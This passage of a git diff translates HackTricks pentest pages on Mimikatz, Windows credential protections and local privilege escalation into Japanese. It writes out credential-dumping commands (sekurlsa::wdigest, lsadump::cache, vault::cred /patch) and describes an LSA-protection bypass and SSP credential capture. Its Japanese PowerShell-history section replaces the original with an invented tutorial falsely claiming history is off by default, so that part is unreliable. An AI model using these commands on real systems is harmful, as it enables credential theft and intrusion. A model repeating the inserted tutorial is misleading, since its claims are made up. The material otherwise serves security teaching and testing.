+[![Mimikatz-TS-MultiRDP](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-TS-MultiRDP.png)](https://adsecurity.org/wp-content ### Vault -`mimikatz.exe "privilege::debug" "token::elevate" "vault::cred /patch" "exit"` - Get passwords of scheduled tasks +`mimikatz.exe "privilege::debug" "token::elevate" "vault::cred /patch" "exit"` - 予定されたタスクのパスワードを取得する \ \ @@ -357,10 +333,10 @@ Find a domain admin credential on the box and use that token: _token::elevate /d ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/windows-hardening/stealing-credentials/credentials-protections.md b/windows-hardening/stealing-credentials/credentials-protections.md index c940a0560..b1d281d91 100644 --- a/windows-hardening/stealing-credentials/credentials-protections.md +++ b/windows-hardening/stealing-credentials/credentials-protections.md @@ -1,111 +1,101 @@ -# Windows Credentials Protections +# Windowsの資格情報保護 -## Credentials Protections +## 資格情報の保護
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
## WDigest -[WDigest](https://technet.microsoft.com/pt-pt/library/cc778868\(v=ws.10\).aspx?f=255\&MSPPError=-2147217396) protocol was introduced in Windows XP and was designed to be used with HTTP Protocol for authentication. Microsoft has this protocol **enabled by default in multiple versions of Windows** (Windows XP — Windows 8.0 and Windows Server 2003 — Windows Server 2012) which means that **plain-text passwords are stored in the LSASS** (Local Security Authority Subsystem Service). **Mimikatz** can interact with the LSASS allowing an attacker to **retrieve these credentials** through the following command: - +[WDigest](https://technet.microsoft.com/pt-pt/library/cc778868\(v=ws.10\).aspx?f=255\&MSPPError=-2147217396)プロトコルは、Windows XPで導入され、認証にHTTPプロトコルを使用するために設計されました。マイクロソフトはこのプロトコルを**複数のWindowsのバージョンでデフォルトで有効にしています**(Windows XP〜Windows 8.0およびWindows Server 2003〜Windows Server 2012)。これは、**平文のパスワードがLSASS(Local Security Authority Subsystem Service)に保存されている**ことを意味します。**Mimikatz**はLSASSとやり取りすることができ、以下のコマンドを使用して攻撃者はこれらの資格情報を**取得**することができます: ``` sekurlsa::wdigest ``` - -This behaviour can be **deactivated/activated setting to 1** the value of _**UseLogonCredential**_ and _**Negotiate**_ in _**HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_.\ -If these registry keys **don't exist** or the value is **"0"**, then WDigest will be **deactivated**. - +この動作は、_**HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ の _**UseLogonCredential**_ と _**Negotiate**_ の値を **1** に設定することで**無効化/有効化**できます。\ +これらのレジストリキーが**存在しない**場合または値が**"0"**の場合、WDigestは**無効化**されます。 ``` reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` +## LSA保護 -## LSA Protection - -Microsoft in **Windows 8.1 and later** has provided additional protection for the LSA to **prevent** untrusted processes from being able to **read its memory** or to inject code. This will prevent regular `mimikatz.exe sekurlsa:logonpasswords` for working properly.\ -To **activate this protection** you need to set the value _**RunAsPPL**_ in _**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ to 1. - +マイクロソフトは**Windows 8.1以降**で、LSAの追加の保護を提供しています。これにより、信頼されていないプロセスがそのメモリを読み取ったり、コードを注入したりすることができなくなります。これにより、通常の`mimikatz.exe sekurlsa:logonpasswords`が正常に動作しなくなります。\ +この保護を**有効にする**には、_**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_の値_**RunAsPPL**_を1に設定する必要があります。 ``` reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL ``` +### バイパス -### Bypass - -It is possible to bypass this protection using Mimikatz driver mimidrv.sys: +Mimikatzドライバーmimidrv.sysを使用して、この保護をバイパスすることが可能です。 ![](../../.gitbook/assets/mimidrv.png) ## Credential Guard -**Credential Guard** is a new feature in Windows 10 (Enterprise and Education edition) that helps to protect your credentials on a machine from threats such as pass the hash. This works through a technology called Virtual Secure Mode (VSM) which utilizes virtualization extensions of the CPU (but is not an actual virtual machine) to provide **protection to areas of memory** (you may hear this referred to as Virtualization Based Security or VBS). VSM creates a separate "bubble" for key **processes** that are **isolated** from the regular **operating system** processes, even the kernel and **only specific trusted processes may communicate to the processes** (known as **trustlets**) in VSM. This means a process in the main OS cannot read the memory from VSM, even kernel processes. The **Local Security Authority (LSA) is one of the trustlets** in VSM in addition to the standard **LSASS** process that still runs in the main OS to ensure support with existing processes but is really just acting as a proxy or stub to communicate with the version in VSM ensuring actual credentials run on the version in VSM and are therefore protected from attack. Credential Guard must be turned on and deployed in your organization as it is **not enabled by default.**\ -From [https://www.itprotoday.com/windows-10/what-credential-guard](https://www.itprotoday.com/windows-10/what-credential-guard)\ -More information and a PS1 script to enable Credential Guard [can be found here](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage). +**Credential Guard**は、Windows 10(EnterpriseおよびEducationエディション)の新機能であり、パス・ザ・ハッシュなどの脅威からマシン上の資格情報を保護する役割を果たします。これは、CPUの仮想化拡張を利用した仮想セキュアモード(VSM)という技術を通じて機能します(ただし、実際の仮想マシンではありません)。VSMは、通常のオペレーティングシステムプロセス、カーネルを含む、メモリの一部を保護するための「バブル」を作成します。VSM内のプロセス(トラストレットと呼ばれる)に対してのみ、特定の信頼されたプロセスが通信できます。これにより、メインOSのプロセスはVSMのメモリを読むことができず、カーネルプロセスでさえも読むことができません。ローカルセキュリティ機関(LSA)は、VSM内のトラストレットの1つであり、既存のプロセスとの互換性を確保するためにメインOSで実行される標準のLSASSプロセスに加えて、VSM内のバージョンと通信するためのプロキシまたはスタブとして機能します。これにより、実際の資格情報はVSM内のバージョンで実行され、攻撃から保護されます。Credential Guardは、デフォルトでは有効になっていないため、組織内で有効化して展開する必要があります。 -In this case **Mimikatz cannot do much to bypass** this and extract the hashes from LSASS. But you could always add your **custom SSP** and **capture the credentials** when a user tries to login in **clear-text**.\ -More information about [**SSP and how to do this here**](../active-directory-methodology/custom-ssp.md). +[https://www.itprotoday.com/windows-10/what-credential-guard](https://www.itprotoday.com/windows-10/what-credential-guard)から引用\ +Credential Guardを有効にするための詳細情報とPS1スクリプトは[こちらで入手できます](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage)。 -Credentials Guard could be **enable in different ways**. To check if it was enabled using the registry you could check the value of the key _**LsaCfgFlags**_ in _**HKLM\System\CurrentControlSet\Control\LSA**_. If the value is **"1"** the it is active with UEFI lock, if **"2"** is active without lock and if **"0"** it's not enabled.\ -This is **not enough to enable Credentials Guard** (but it's a strong indicator).\ -More information and a PS1 script to enable Credential Guard [can be found here](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage). +この場合、Mimikatzはこの保護をバイパスしてLSASSからハッシュを抽出することはできません。ただし、常に**カスタムSSP**を追加し、ユーザーが**クリアテキスト**でログインしようとしたときに資格情報をキャプチャすることができます。 +[**SSPとその方法についての詳細情報はこちら**](../active-directory-methodology/custom-ssp.md)を参照してください。 + +Credentials Guardは、さまざまな方法で有効化することができます。レジストリを使用して有効化されているかどうかを確認するには、キー_**LsaCfgFlags**_の値を確認します。値が**「1」**であれば、UEFIロック付きで有効です。**「2」**であればロックなしで有効であり、**「0」**であれば無効です。これだけではCredentials Guardを有効にするには十分ではありませんが、強力な指標となります。 + +Credential Guardを有効にするための詳細情報とPS1スクリプトは[こちらで入手できます](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage)。 ``` reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` +## RDP RestrictedAdminモード -## RDP RestrictedAdmin Mode +Windows 8.1およびWindows Server 2012 R2では、新しいセキュリティ機能が導入されました。そのセキュリティ機能の1つが、RDPのための「制限付き管理者モード」です。この新しいセキュリティ機能は、[パス・ザ・ハッシュ](https://blog.ahasayen.com/pass-the-hash/)攻撃のリスクを軽減するために導入されました。 -With Windows 8.1 and Windows Server 2012 R2, new security features were introduced. One of those security features is the _Restricted Admin mode for RDP_. This new security feature is introduced to mitigate the risk of [pass the hash](https://blog.ahasayen.com/pass-the-hash/) attacks. +RDPを使用してリモートコンピュータに接続すると、RDPで接続したリモートコンピュータには資格情報が保存されます。通常、リモートサーバに接続するために強力なアカウントを使用しており、これらのコンピュータに資格情報が保存されていることは確かにセキュリティ上の脅威です。 -When you connect to a remote computer using RDP, your credentials are stored on the remote computer that you RDP into. Usually you are using a powerful account to connect to remote servers, and having your credentials stored on all these computers is a security threat indeed. +「制限付き管理者モード」を使用すると、コマンド**mstsc.exe /RestrictedAdmin**を使用してリモートコンピュータに接続すると、リモートコンピュータに認証されますが、過去に保存されていたように**資格情報はリモートコンピュータに保存されません**。つまり、マルウェアや悪意のあるユーザがそのリモートサーバ上で活動していても、資格情報はマルウェアが攻撃するためにリモートデスクトップサーバ上で利用できません。 -Using _Restricted Admin mode for RDP_, when you connect to a remote computer using the command, **mstsc.exe /RestrictedAdmin**, you will be authenticated to the remote computer, but **your credentials will not be stored on that remote computer**, as they would have been in the past. This means that if a malware or even a malicious user is active on that remote server, your credentials will not be available on that remote desktop server for the malware to attack. - -Note that as your credentials are not being saved on the RDP session if **try to access network resources** your credentials won't be used. **The machine identity will be used instead**. +資格情報がRDPセッションに保存されないため、**ネットワークリソースにアクセスしようとする場合、資格情報は使用されません**。代わりに、マシンの識別情報が使用されます。 ![](../../.gitbook/assets/ram.png) -From [here](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/). +[ここから](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/)。 -## Cached Credentials +## キャッシュされた資格情報 -**Domain credentials** are used by operating system components and are **authenticated** by the **Local** **Security Authority** (LSA). Typically, domain credentials are established for a user when a registered security package authenticates the user's logon data. This registered security package may be the **Kerberos** protocol or **NTLM**. - -**Windows stores the last ten domain login credentials in the event that the domain controller goes offline**. If the domain controller goes offline, a user will **still be able to log into their computer**. This feature is mainly for laptop users that do not regularly log into their company’s domain. The number of credentials that the computer stores can be controlled by the following **registry key, or via group policy**: +**ドメインの資格情報**は、オペレーティングシステムのコンポーネントによって使用され、**ローカルセキュリティ機関**(LSA)によって**認証**されます。通常、ドメインの資格情報は、登録されたセキュリティパッケージがユーザのログオンデータを認証するときにユーザのために確立されます。この登録されたセキュリティパッケージは、**Kerberos**プロトコルまたは**NTLM**である場合があります。 +**Windowsは、ドメインコントローラがオフラインになった場合に、最後の10個のドメインログイン資格情報を保存します**。ドメインコントローラがオフラインになっても、ユーザは**まだコンピュータにログインできます**。この機能は、定期的に会社のドメインにログインしないノートパソコンのユーザを主な対象としています。コンピュータが保存する資格情報の数は、次の**レジストリキーまたはグループポリシー**によって制御できます。 ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` - -The credentials are hidden from normal users, even administrator accounts. The **SYSTEM** user is the only user that has **privileges** to **view** these **credentials**. In order for an administrator to view these credentials in the registry they must access the registry as a SYSTEM user.\ -The Cached credentials are stored in the registry at the following registry location: - +資格情報は通常のユーザーや管理者アカウントから隠されています。**SYSTEM**ユーザーだけがこれらの**資格情報**を**表示**するための**特権**を持っています。管理者がレジストリ内のこれらの資格情報を表示するためには、SYSTEMユーザーとしてレジストリにアクセスする必要があります。\ +キャッシュされた資格情報は、次のレジストリの場所に格納されています: ``` HKEY_LOCAL_MACHINE\SECURITY\Cache ``` - -**Extracting from Mimikatz**: `lsadump::cache`\ -From [here](http://juggernaut.wikidot.com/cached-credentials). +**Mimikatzからの抽出**: `lsadump::cache`\ +[ここ](http://juggernaut.wikidot.com/cached-credentials)から。 ## Protected Users -When the signed in user is a member of the Protected Users group the following protections are applied: +サインインしているユーザーがProtected Usersグループのメンバーである場合、以下の保護が適用されます: -* Credential delegation (CredSSP) will not cache the user's plain text credentials even when the **Allow delegating default credentials** Group Policy setting is enabled. -* Beginning with Windows 8.1 and Windows Server 2012 R2, Windows Digest will not cache the user's plain text credentials even when Windows Digest is enabled. -* **NTLM** will **not cache** the user's **plain text credentials** or NT **one-way function** (NTOWF). -* **Kerberos** will **no** longer create **DES** or **RC4 keys**. Also it will **not cache the user's plain text** credentials or long-term keys after the initial TGT is acquired. -* A **cached verifier is not created at sign-in or unlock**, so offline sign-in is no longer supported. +* **Allow delegating default credentials** グループポリシー設定が有効になっていても、Credential delegation (CredSSP) はユーザーの平文の資格情報をキャッシュしません。 +* Windows 8.1およびWindows Server 2012 R2以降、Windows Digestはユーザーの平文の資格情報をキャッシュしません。 +* **NTLM**はユーザーの平文の資格情報またはNTのワンウェイ関数(NTOWF)をキャッシュしません。 +* **Kerberos**は**DESキー**または**RC4キー**を作成しません。また、初期のTGTを取得した後もユーザーの平文の資格情報や長期キーをキャッシュしません。 +* サインインまたはロック時にキャッシュされた検証子は作成されないため、オフラインサインインはサポートされなくなりました。 -After the user account is added to the Protected Users group, protection will begin when the user signs in to the device. **From** [**here**](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group)**.** +ユーザーアカウントがProtected Usersグループに追加されると、保護がデバイスにサインインしたユーザーから開始されます。[ここ](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group)から。 | Windows Server 2003 RTM | Windows Server 2003 SP1+ |

Windows Server 2012,
Windows Server 2008 R2,
Windows Server 2008

| Windows Server 2016 | | ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- | @@ -126,16 +116,16 @@ After the user account is added to the Protected Users group, protection will be | Schema Admins | Schema Admins | Schema Admins | Schema Admins | | Server Operators | Server Operators | Server Operators | Server Operators | -**Table from** [**here**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.** +[ここ](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)からの表。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/windows-hardening/windows-local-privilege-escalation/README.md b/windows-hardening/windows-local-privilege-escalation/README.md index 2c7236d68..bb8df196a 100644 --- a/windows-hardening/windows-local-privilege-escalation/README.md +++ b/windows-hardening/windows-local-privilege-escalation/README.md @@ -1,59 +1,58 @@ -# Windows Local Privilege Escalation +# Windowsローカル特権昇格
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
-### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windowsローカル特権昇格のための最適なツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Initial Windows Theory +## Windowsの基本理論 -### Access Tokens +### アクセストークン -**If you don't know what are Windows Access Tokens, read the following page before continuing:** +**Windowsのアクセストークンが何かわからない場合は、続行する前に次のページを読んでください:** {% content-ref url="access-tokens.md" %} [access-tokens.md](access-tokens.md) {% endcontent-ref %} -### ACLs - DACLs/SACLs/ACEs +### ACL - DACLs/SACLs/ACEs -**If you don't know what is any of the acronyms used in the heading of this section, read the following page before continuing**: +**このセクションの見出しで使用される略語の意味がわからない場合は、続行する前に次のページを読んでください:** {% content-ref url="acls-dacls-sacls-aces.md" %} [acls-dacls-sacls-aces.md](acls-dacls-sacls-aces.md) {% endcontent-ref %} -### Integrity Levels +### 完全性レベル -**If you don't know what are integrity levels in Windows you should read the following page before continuing:** +**Windowsの完全性レベルがわからない場合は、続行する前に次のページを読んでください:** {% content-ref url="integrity-levels.md" %} [integrity-levels.md](integrity-levels.md) {% endcontent-ref %} -## Windows Security Controls +## Windowsのセキュリティコントロール -There are different things in Windows that could **prevent you from enumerating the system**, run executables or even **detect your activities**. You should **read** the following **page** and **enumerate** all these **defenses** **mechanisms** before starting the privilege escalation enumeration: +Windowsには、**システムの列挙を防ぐ**、実行可能ファイルを実行することさえも**検出される可能性のあるさまざまな要素**があります。特権昇格の列挙を開始する前に、次のページを**読んで**これらの**防御メカニズム**を**列挙**してください: {% content-ref url="../authentication-credentials-uac-and-efs.md" %} [authentication-credentials-uac-and-efs.md](../authentication-credentials-uac-and-efs.md) {% endcontent-ref %} -## System Info +## システム情報 -### Version info enumeration - -Check if the Windows version has any known vulnerability (check also the patches applied). +### バージョン情報の列挙 +Windowsのバージョンに既知の脆弱性があるかどうかを確認します(適用されたパッチも確認してください)。 ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -66,41 +65,75 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` +### バージョンの脆弱性 -### Version Exploits +この[サイト](https://msrc.microsoft.com/update-guide/vulnerability)は、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700以上のセキュリティ脆弱性があり、Windows環境が持つ**巨大な攻撃面**が示されています。 -This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the **massive attack surface** that a Windows environment presents. - -**On the system** +**システム上で** * _post/windows/gather/enum\_patches_ * _post/multi/recon/local\_exploit\_suggester_ * [_watson_](https://github.com/rasta-mouse/Watson) -* [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ +* [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeasにはwatsonが組み込まれています)_ -**Locally with system infromation** +**システム情報をローカルで** * [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) * [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github repos of exploits:** +**エクスプロイトのGithubリポジトリ:** * [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) * [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) * [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) -### Environment - -Any credential/Juicy info saved in the env variables? +### 環境 +環境変数に保存されている資格情報/重要情報はありますか? ```bash set dir env: Get-ChildItem Env: | ft Key,Value ``` +### PowerShellの履歴 -### PowerShell History +PowerShellは、Windowsシステムで使用される強力なスクリプト言語およびシェル環境です。PowerShellは、コマンドの実行履歴を保存する機能を提供しています。これにより、過去のコマンドの実行内容を確認したり、再利用したりすることができます。 +PowerShellの履歴は、`$PROFILE`変数で指定されたプロファイルスクリプトによって制御されます。デフォルトでは、PowerShellは履歴を保存しませんが、ユーザーはプロファイルスクリプトを編集して、履歴の保存を有効にすることができます。 + +以下の手順で、PowerShellの履歴を有効にすることができます。 + +1. PowerShellを開き、`$PROFILE`変数の値を確認します。 + ```powershell + $PROFILE + ``` + +2. プロファイルスクリプトが存在しない場合は、新しいプロファイルスクリプトを作成します。 + ```powershell + New-Item -Type File -Path $PROFILE -Force + ``` + +3. プロファイルスクリプトをテキストエディタで開き、以下のコードを追加します。 + ```powershell + $HistoryPath = Join-Path -Path $env:USERPROFILE -ChildPath "powershell_history.txt" + Register-EngineEvent PowerShell.Exiting -Action { Get-History | Export-Csv -Path $HistoryPath -NoTypeInformation } + ``` + +4. プロファイルスクリプトを保存し、PowerShellを再起動します。 + +これで、PowerShellの履歴が有効になり、終了時に`powershell_history.txt`という名前のファイルに履歴が保存されます。履歴を表示するには、以下のコマンドを使用します。 + +```powershell +Get-Content -Path $HistoryPath +``` + +また、`Get-History`コマンドを使用して、現在のセッションの履歴を表示することもできます。 + +```powershell +Get-History +``` + +これにより、PowerShellの履歴を活用して、効率的な作業を行うことができます。 ```bash ConsoleHost_history #Find the PATH where is saved @@ -110,11 +143,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` +### PowerShellトランスクリプトファイル -### PowerShell Transcript files - -You can learn how to turn this on in [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) - +[https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)で、これを有効にする方法を学ぶことができます。 ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -127,193 +158,322 @@ dir C:\Transcripts Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber Stop-Transcript ``` +### PowerShellモジュールのログ記録 -### PowerShell Module Logging - -It records the pipeline execution details of PowerShell. This includes the commands which are executed including command invocations and some portion of the scripts. It may not have the entire detail of the execution and the output results.\ -You can enable this following the link of the last section (Transcript files) but enabling "Module Logging" 